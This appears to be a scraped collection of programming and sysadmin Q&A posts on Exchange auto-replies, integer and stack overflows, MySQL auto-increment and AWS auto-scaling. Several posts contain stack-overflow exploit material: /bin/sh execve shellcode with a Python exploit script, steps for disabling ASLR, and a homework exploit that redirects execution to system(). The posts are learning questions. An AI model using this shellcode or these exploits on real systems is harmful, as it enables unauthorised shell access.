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  • Exchange 2007: Auto reply message to senders (server side)

    - by Mestika
    Hi everyone and marry Christmas, I’ve to create an auto-reply for some of the users in my organization where, when a person sends an E-mail to e.g. [email protected] is faced with an automatically auto-reply with some message “closed during the holidays. We are back at… etc. etc. etc.”. I’ve tried to create a Transport Rule on our Exchange server but the only option I can find in the actions-window is to reply with a “Bounce message to sender with enhanced status code” but I guess that is not the precise action I’m looking for. How can I set up a server-side auto-reply, apply it to only a fixed number of users in my organization and create a message to the senders (which is outside the organization)? Sincerely Mestika

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  • Why is it 8 here,understanding buffer overflow

    - by Mask
    void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8;//why is it 8?? } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } The above demo is from here: http://insecure.org/stf/smashstack.html But it's not working here: D:\test>gcc -Wall -Wextra hw.cpp && a.exe hw.cpp: In function `void function(int, int, int)': hw.cpp:6: warning: unused variable 'buffer2' hw.cpp: At global scope: hw.cpp:4: warning: unused parameter 'a' hw.cpp:4: warning: unused parameter 'b' hw.cpp:4: warning: unused parameter 'c' 1 And I don't understand why it's 8 though the author thinks: A little math tells us the distance is 8 bytes.

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  • C# average function for large numbers without overflow exception

    - by Ron Klein
    .NET Framework 3.5. I'm trying to calculate the average of some pretty large numbers. For instance: using System; using System.Linq; class Program { static void Main(string[] args) { var items = new long[] { long.MaxValue - 100, long.MaxValue - 200, long.MaxValue - 300 }; try { var avg = items.Average(); Console.WriteLine(avg); } catch (OverflowException ex) { Console.WriteLine("can't calculate that!"); } Console.ReadLine(); } } Obviously, the mathematical result is 9223372036854775607 (long.MaxValue - 200), but I get an exception there. This is because the implementation (on my machine) to the Average extension method, as inspected by .NET Reflector is: public static double Average(this IEnumerable<long> source) { if (source == null) { throw Error.ArgumentNull("source"); } long num = 0L; long num2 = 0L; foreach (long num3 in source) { num += num3; num2 += 1L; } if (num2 <= 0L) { throw Error.NoElements(); } return (((double) num) / ((double) num2)); } I know I can use a BigInt library (yes, I know that it is included in .NET Framework 4.0, but I'm tied to 3.5). But I still wonder if there's a pretty straight forward implementation of calculating the average of integers without an external library. Do you happen to know about such implementation? Thanks!!

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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • Debugging Key-Value-Observing overflow.

    - by Paperflyer
    I wrote an audio player. Recently I started refactored some of the communication flow to make it fully MVC-compliant. Now it crashes, which in itself is not surprising. However, it crashes after a few seconds inside the Cocoa key-value-observing routines with a HUGE stack trace of recursive calls to NSKeyValueNotifyObserver. Obviously, it is recursively observing a value and thus overflowing the NSArray that holds pending notifications. According to the stack trace, the program loops from observeValueForKeyPath to setMyValue and back. Here is the according code: - (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary *)change context:(void *)context { if ([keyPath isEqual:@"myValue"] && object == myModel && [self myValue] != [myModel myValue]) { [self setMyValue:[myModel myValue]; } } and - (void)setMyValue:(float)value { myValue = value; [myModel setMyValue:value]; } myModel changes myValue every 0.05 seconds and if I log the calls to these two functions, they get called only every 0.05 seconds just as they should be, so this is working properly. The stack trace looks like this: -[MyDocument observeValueForKeyPath:ofObject:change:context:] NSKeyValueNotifyObserver NSKeyValueDidChange -[NSObject(NSKeyValueObserverNotification) didChangeValueForKey:] -[MyDocument setMyValue:] _NSSetFloatValueAndNotify …repeated some ~8k times until crash Do you have any idea why I could still be spamming the KVO queue?

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • Stack overflow in OCaml and F# but not in Haskell

    - by Fernand Pajot
    I've been comparing for fun different languages for speed in execution of the following program: for i from 1 to 1000000 sum the product i*(sqrt i) One of my implementations (not the only one) is constructing a list [1..1000000] and then folding with a specific funtion. The program works fine and fast in Haskell (even when using foldl and not foldl') but stack overflows in OCaml and F#. Here is the Haskell code: test = foldl (\ a b -> a + b * (sqrt b)) 0 create 0 = [] create n = n:(create (n-1)) main = print (test (create 1000000)) And here is the OCaml one: let test = List.fold_left (fun a b -> a +. (float_of_int b) *. (sqrt (float_of_int b))) 0. ;; let rec create = function | 0 -> [] | n -> n::(create (n-1)) ;; print_float (test (create 1000000));; Why does the OCaml/F# implementation stack overflows?

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  • Bash: Terminate on Timeout/File Overflow while Executing Command

    - by Chris
    I'm writing a mock-grading script in bash. It's supposed to execute a C program which will give some output (which I redirect to a file.) I'm trying to (1) make it timeout after a certain duration and also (2) terminate if the output file reaches a certain file size limit. Not sure how to go about either of these. Any help? Thanks.

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  • How to prevent buffer overflow in C/C++?

    - by alexpov
    Hello, i am using the following code to redirect stdout to a pipe, then read all the data from the pipe to a buffer. I have 2 problems: first problem: when i send a string (after redirection) bigger then the pipe's BUFF_SIZE, the program stops responding (deadlock or something). second problem: when i try to read from a pipe before something was sent to stdout. I get the same response, the program stops responding - _read command stuck's ... The issue is that i don't know the amount of data that will be sent to the pipe after the redirection. The first problem, i don't know how to handle and i'll be glad for help. The second problem i solved by a simple workaround, right after the redirection i print space character to stdout. but i guess that this solution is not the correct one ... #include <fcntl.h> #include <io.h> #include <iostream> #define READ 0 #define WRITE 1 #define BUFF_SIZE 5 using namespace std; int main() { int stdout_pipe[2]; int saved_stdout; saved_stdout = _dup(_fileno(stdout)); // save stdout if(_pipe(stdout_pipe,BUFF_SIZE, O_TEXT) != 0 ) // make a pipe { exit(1); } fflush( stdout ); if(_dup2(stdout_pipe[1], _fileno(stdout)) != 0 ) //redirect stdout to the pipe { exit(1); } ios::sync_with_stdio(); setvbuf( stdout, NULL, _IONBF, 0 ); //anything sent to stdout goes now to the pipe //printf(" ");//workaround for the second problem printf("123456");//first problem char buffer[BUFF_SIZE] = {0}; int nOutRead = 0; nOutRead = _read(stdout_pipe[READ], buffer, BUFF_SIZE); //second problem buffer[nOutRead] = '\0'; // reconnect stdout if (_dup2(saved_stdout, _fileno(stdout)) != 0 ) { exit(1); } ios::sync_with_stdio(); printf("buffer: %s\n", buffer); } Thanks, Alex

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  • Stack Overflow Exploit in C

    - by Fernando Gonzalez
    Hey there guys, the question is actually about stack overflows in C. I have an assigment that I can not get done for the life of me, i've looked at everything in the gdb and I just cant figure it. The question is the following: int i,n; void confused() { printf("who called me"); exit(0); } void shell_call(char *c) { printf(" ***Now calling \"%s\" shell command *** \n",c); system(c); exit(0); } void victim_func() { int a[4]; printf("[8]:%x\n", &a[8]); printf("Enter n: "); scanf("%d",&n); printf("Enter %d HEX Values \n",n); for(i=0;i<n;i++) scanf("%x",&a[i]); printf("Done reading junk numbers\n"); } int main() { printf("ls=736c --- ps = 7370 --- cal = 6c6163\n"); printf("location of confused %x \n", confused); printf("location of shell_call %x \n", shell_call); victim_func(); printf("Done, thank you\n"); } Ok, so I managed to get the first question correctly, which is to arbitrarily call one of the two functions not explicitly called in the main path. By the way, this has to be done while running the program without any modifications. I did this by running the program, setting N to 7, which gets me to the Function Pointer of the victim_func frame, I write a[7] with the memory address of confused or shell_call, and it works. (I have a 64 bit machine, thats why I have to get it to 7, since the EBI pointer is 2 ints wide, instead of 1) My question is the following, how could I control which argument gets passed to the shell_code funcion? ie. how do i write a string to char* c. The whole point is executing unix commands like "ps" etc, by running only the program. I figured writing the EBI pointer with the hex representation of "ps" and setting the arg list of shell_call to that, but that didn't work. I also tried inputing argsv arguments and setting the arg list of shell_call to the arg_list of main, but didnt work either. I think the second version should work, but i believe im not setting the arg list of the new stack frame correctly ( I did it by writing a[8] to 0, since its the first part of the functin pointer, and writing a[9]=736c and a[10]=0000, but its probably not right since those are the parameters of victim_func. So how do i access the parameters of shell_call?

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  • Integer overflow exploitable?

    - by wuntee
    Does anyone have a detailed explanation on how integers can be exploited? I have been reading a lot about the concept, and I understand what an it is, and I understand buffer overflows, but I dont understand how one could modify memory reliably, or in a way to modify application flow, by making an integer larger than its defined memory....

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  • Outlook meetings and auto accept/reply

    - by Morten
    First, I'm not sure if this question should be here or superuser, but here it comes. Im trying to set up a room to auto accept meetings and so far its good but i was wondering if it's possible to change it to "do not send respond" when it accepts and sends some reply when it's the same time as another existing meeting, so it declined. And a little extra question: is it possible to chance that auto reply it sends, since it's in English, and I would like to chance it to Danish and some text I choose myself?

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  • How to get real Integer Overflows in Matlab/Octave

    - by marvin2k
    Hi there. I'm working on a verification-tool for some VHDL-Code in Matlab/Octave. Therefore I need datatypes which generate "real" overflows: intmax('int32') + 1 ans = -2147483648 Lateron, it would be helpfull if i can define the bitwidth of a variable... But that is not so important... When I build a C-like example, where a variable gets increased until it's smaller than zero, it spins forever and ever... test = int32(2^30); while (test > 0) test = test + int32(1); end Another approach i tried was a custom "overflow"-routine which was called everytime after a number is changed. This approach was painfully slow, not practicable and not working in all cases at all...

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  • How do I get real integer overflows in MATLAB/Octave?

    - by marvin2k
    I'm working on a verification-tool for some VHDL-Code in MATLAB/Octave. Therefore I need data types which generate "real" overflows: intmax('int32') + 1 ans = -2147483648 Later on, it would be helpful if I can define the bit width of a variable, but that is not so important right now. When I build a C-like example, where a variable gets increased until it's smaller than zero, it spins forever and ever: test = int32(2^30); while (test > 0) test = test + int32(1); end Another approach I tried was a custom "overflow"-routine which was called every time after a number is changed. This approach was painfully slow, not practicable and not working in all cases at all. Any suggestions?

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  • mysql complex key or + auto increment key (guid)

    - by darko
    Hi, I have not very big db. I am using auto increment primary keys and in my case there is no problem with that. GUID is not necessary. I have a table containing this fields: from_destination to_testination shipper quantity Where the fields 1,2,3 needs to be unique. Also I have second table that for the fields 1,2,3 stores bought quantities per day One to many. from_destination to_destination shipper date reserved_quantity case 1 Is it better to make fields 1,2,3 as primary complex key in the first table and the same fields in the second table to be foreign key First table from_destination | to_destination | primary shipper | quaitity Second table second_id - autoincrement primary from_destination | to_destination | foreign key shipper | date reserved_quantity Case 2 or just to add auto increment filed in the first table and make fields 1,2,3 unique. In the second table there will be one ingeger foreign key pointing to the first table, and one auto increment key for the table. First table first_id - autoincrement primary from_destination | to_destination | unique shipper | quaitity Second table second_id - autoincrement primary first_id - forein date reserved_quantity If so why we need complex keys, when we can have one field auto increment or GUID and all other fields that are candidates for complex key to be unique. Regards

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  • Exchange 2003 and Outlook rule: Send auto reply message not working

    - by Mestika
    Hi, I have created a distributed group which have to send a auto reply when receiving a mail. I know that it is impossible to send a auto reply within a distributed group, but following a guide I have created a mail account called “noreply”. In outlook I have created a rule in the “noreply” account where I chose following conditions: Send to a person or distributed list (where I selected my distributed group) Then to specify what to do with that message I selected Have server reply using a specific message I’ve created my message and saved it. But when I try to write an e-mail to the distributed group it doesn’t send back the reply message. Does anyone knows what I’m doing wrong? Sincerely Mestika

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  • Exchange 2003 and Outlook rule: Send auto reply message not working

    - by Mestika
    I have created a distributed group which have to send a auto reply when receiving a mail. I know that it is impossible to send a auto reply within a distributed group, but following a guide I have created a mail account called “noreply”. In outlook I have created a rule in the “noreply” account where I chose following conditions: Send to a person or distributed list (where I selected my distributed group) Then to specify what to do with that message I selected Have server reply using a specific message I’ve created my message and saved it. But when I try to write an e-mail to the distributed group it doesn’t send back the reply message. Does anyone knows what I’m doing wrong? Sincerely Mestika

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  • MySQL auto increment

    - by mouthpiec
    Hi, I have table with an auto-increment field, but I need to transfer the table to another table on another database. Will the value of field 1 be 1, that of field 2 be 2, etc? Also in case the database get corrupted and I need to restore the data, will the auto-increment effect in some way? will the value change? (eg if the first row, id (auto-inc) = 1, name = john, country = UK .... will the id field remain 1?) I am asking because if other table refer to this value, all data will get out of sync if this field change.

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  • AWS: setting up auto-scale for EC2 instances

    - by Elton Stoneman
    Originally posted on: http://geekswithblogs.net/EltonStoneman/archive/2013/10/16/aws-setting-up-auto-scale-for-ec2-instances.aspxWith Amazon Web Services, there’s no direct equivalent to Azure Worker Roles – no Elastic Beanstalk-style application for .NET background workers. But you can get the auto-scale part by configuring an auto-scaling group for your EC2 instance. This is a step-by-step guide, that shows you how to create the auto-scaling configuration, which for EC2 you need to do with the command line, and then link your scaling policies to CloudWatch alarms in the Web console. I’m using queue size as my metric for CloudWatch,  which is a good fit if your background workers are pulling messages from a queue and processing them.  If the queue is getting too big, the “high” alarm will fire and spin up a new instance to share the workload. If the queue is draining down, the “low” alarm will fire and shut down one of the instances. To start with, you need to manually set up your app in an EC2 VM, for a background worker that would mean hosting your code in a Windows Service (I always use Topshelf). If you’re dual-running Azure and AWS, then you can isolate your logic in one library, with a generic entry point that has Start() and Stop()  functions, so your Worker Role and Windows Service are essentially using the same code. When you have your instance set up with the Windows Service running automatically, and you’ve tested it starts up and works properly from a reboot, shut the machine down and take an image of the VM, using Create Image (EBS AMI) from the Web Console: When that completes, you’ll have your own AMI which you can use to spin up new instances, and you’re ready to create your auto-scaling group. You need to dip into the command-line tools for this, so follow this guide to set up the AWS autoscale command line tool. Now we’re ready to go. 1. Create a launch configuration This launch configuration tells AWS what to do when a new instance needs to be spun up. You create it with the as-create-launch-config command, which looks like this: as-create-launch-config sc-xyz-launcher # name of the launch config --image-id ami-7b9e9f12 # id of the AMI you extracted from your VM --region eu-west-1 # which region the new instance gets created in --instance-type t1.micro # size of the instance to create --group quicklaunch-1 #security group for the new instance 2. Create an auto-scaling group The auto-scaling group links to the launch config, and defines the overall configuration of the collection of instances: as-create-auto-scaling-group sc-xyz-asg # auto-scaling group name --region eu-west-1 # region to create in --launch-configuration sc-xyz-launcher # name of the launch config to invoke for new instances --min-size 1 # minimum number of nodes in the group --max-size 5 # maximum number of nodes in the group --default-cooldown 300 # period to wait (in seconds) after each scaling event, before checking if another scaling event is required --availability-zones eu-west-1a eu-west-1b eu-west-1c # which availability zones you want your instances to be allocated in – multiple entries means EC@ will use any of them 3. Create a scale-up policy The policy dictates what will happen in response to a scaling event being triggered from a “high” alarm being breached. It links to the auto-scaling group; this sample results in one additional node being spun up: as-put-scaling-policy scale-up-policy # policy name -g sc-psod-woker-asg # auto-scaling group the policy works with --adjustment 1 # size of the adjustment --region eu-west-1 # region --type ChangeInCapacity # type of adjustment, this specifies a fixed number of nodes, but you can use PercentChangeInCapacity to make an adjustment relative to the current number of nodes, e.g. increasing by 50% 4. Create a scale-down policy The policy dictates what will happen in response to a scaling event being triggered from a “low” alarm being breached. It links to the auto-scaling group; this sample results in one node from the group being taken offline: as-put-scaling-policy scale-down-policy -g sc-psod-woker-asg "--adjustment=-1" # in Windows, use double-quotes to surround a negative adjustment value –-type ChangeInCapacity --region eu-west-1 5. Create a “high” CloudWatch alarm We’re done with the command line now. In the Web Console, open up the CloudWatch view and create a new alarm. This alarm will monitor your metrics and invoke the scale-up policy from your auto-scaling group, when the group is working too hard. Configure your metric – this example will fire the alarm if there are more than 10 messages in my queue for over a minute: Then link the alarm to the scale-up policy in your group: 6. Create a “low” CloudWatch alarm The opposite of step 4, this alarm will trigger when the instances in your group don’t have enough work to do (e.g fewer than 2 messages in the queue for 1 minute), and will invoke the scale-down policy. And that’s it. You don’t need your original VM as the auto-scale group has a minimum number of nodes connected. You can test out the scaling by flexing your CloudWatch metric – in this example, filling up a queue from a  stub publisher – and watching AWS create new nodes as required, then stopping the publisher and watch AWS kill off the spare nodes.

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  • Saving auto increment in MySQL

    - by oshafran
    Hello, I am trying to sync between 2 tables: I have active table where has auto_increment, and I have archive table with the same values. I would like both ID's to be unique (between the tables as well) - I mean, I would like to save auto incremenet, and if I UNION both table I still have uniqness. How can I do that? Is there a possibility to save auto increment when mysql is off?

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